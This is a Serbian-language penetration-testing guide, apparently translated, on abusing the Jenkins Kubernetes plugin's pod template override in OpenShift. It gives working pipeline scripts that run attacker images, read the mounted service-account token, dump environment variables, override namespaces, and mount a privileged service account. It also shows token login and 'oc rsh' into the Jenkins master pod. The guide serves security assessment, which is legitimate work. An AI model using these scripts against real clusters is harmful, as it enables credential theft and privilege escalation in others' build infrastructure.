OpenShift - Jenkins Build Pod Override

Originalni autor ove stranice je Fares

Kubernetes dodatak za Jenkins

Ovaj dodatak je uglavnom odgovoran za osnovne funkcije Jenkins-a unutar openshift/kubernetes klastera. Zvanična dokumentacija ovde Nudi nekoliko funkcionalnosti kao što je mogućnost za programere da zamene neke podrazumevane konfiguracije jenkins izgradnje poda.

Osnovna funkcionalnost

Ovaj dodatak omogućava fleksibilnost programerima prilikom izgradnje njihovog koda u odgovarajućem okruženju.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Nezakonite radnje koje iskorišćavaju zamenu yaml fajlova kontejnera

Međutim, može se zloupotrebiti kako bi se koristila bilo koja dostupna slika poput Kali Linux-a i izvršili proizvoljni komandi koristeći preinstalirane alate iz te slike. U primeru ispod možemo izfiltrirati token servisnog naloga pokrenutog kontejnera.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

Neki drugačiji sintaks za postizanje istog cilja.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Uzorak za poništavanje imenskog prostora poda

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Još jedan primer koji pokušava montirati serviceaccount (koji može imati više dozvola od podrazumevanog, pokreće vašu izgradnju) na osnovu njegovog imena. Možda ćete morati da nagađate ili nabrajate postojeće serviceaccount-ove.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Ista tehnika se primenjuje i prilikom pokušaja montiranja Tajne. Krajnji cilj ovde bio bi da se utvrdi kako konfigurisati izgradnju vašeg poda da biste efikasno preusmerili ili stekli privilegije.

Idemo dalje

Kada se naviknete da se igrate s tim, koristite svoje znanje o Jenkinsu i Kubernetesu/Openshiftu da biste pronašli neispravne konfiguracije/zloupotrebe.

Postavite sebi sledeća pitanja:

  • Koja servisna korisnička računa se koristi za implementaciju izgradnje podova?

  • Koje uloge i dozvole ima? Može li čitati tajne trenutnog imenskog prostora u kojem se trenutno nalazim?

  • Mogu li dalje nabrajati druge izgradne podove?

  • Iz kompromitovanog sa, mogu li izvršiti naredbe na glavnom čvoru/podu?

  • Mogu li dalje nabrajati klaster da bih preusmerio negde drugde?

  • Koja je primenjena SCC?

Možete saznati koje oc/kubectl naredbe izdati ovde i ovde.

Mogući scenariji privesc/pivotinga

Pretpostavimo da ste tokom vaše procene otkrili da svi jenkins izgradnje se izvršavaju unutar imenskog prostora nazvanog worker-ns. Otkrili ste da se podaci servisnog naloga podrazumevano nazvanog default-sa montiraju na izgradne podove, međutim on nema mnogo dozvola osim pristupa čitanju nekih resursa, ali ste uspeli da identifikujete postojeći servisni nalog nazvan master-sa. Pretpostavimo takođe da imate oc komandu instaliranu unutar pokrenutog izgradnog kontejnera.

Pomoću donjeg skripta za izgradnju možete preuzeti kontrolu nad servisnim nalogom master-sa i dalje nabrajati.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

Zavisno od vašeg pristupa, ili trebate nastaviti napad iz skripte za izgradnju ili možete direktno se prijaviti kao ovaj sa na pokrenutom klasteru:

oc login --token=$token --server=https://apiserver.com:port

Ako ovaj sa ima dovoljno dozvola (kao što su pod/exec), takođe možete preuzeti kontrolu nad celim jenkins instancom izvršavanjem komandi unutar poda glavnog čvora, ako se pokreće unutar istog imenskog prostora. Ovaj pod se može lako identifikovati prema svom imenu i činjenici da mora montirati PVC (persistant volume claim) koji se koristi za čuvanje podataka jenkinsa.

oc rsh pod_name -c container_name

U slučaju da master čvor pod nije pokrenut unutar istog imenskog prostora kao radnici, možete pokušati slične napade ciljajući imenski prostor mastera. Pretpostavimo da se zove jenkins-master. Imajte na umu da serviceAccount master-sa mora postojati u imenskom prostoru jenkins-master (i možda ne postoji u imenskom prostoru worker-ns).

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Last updated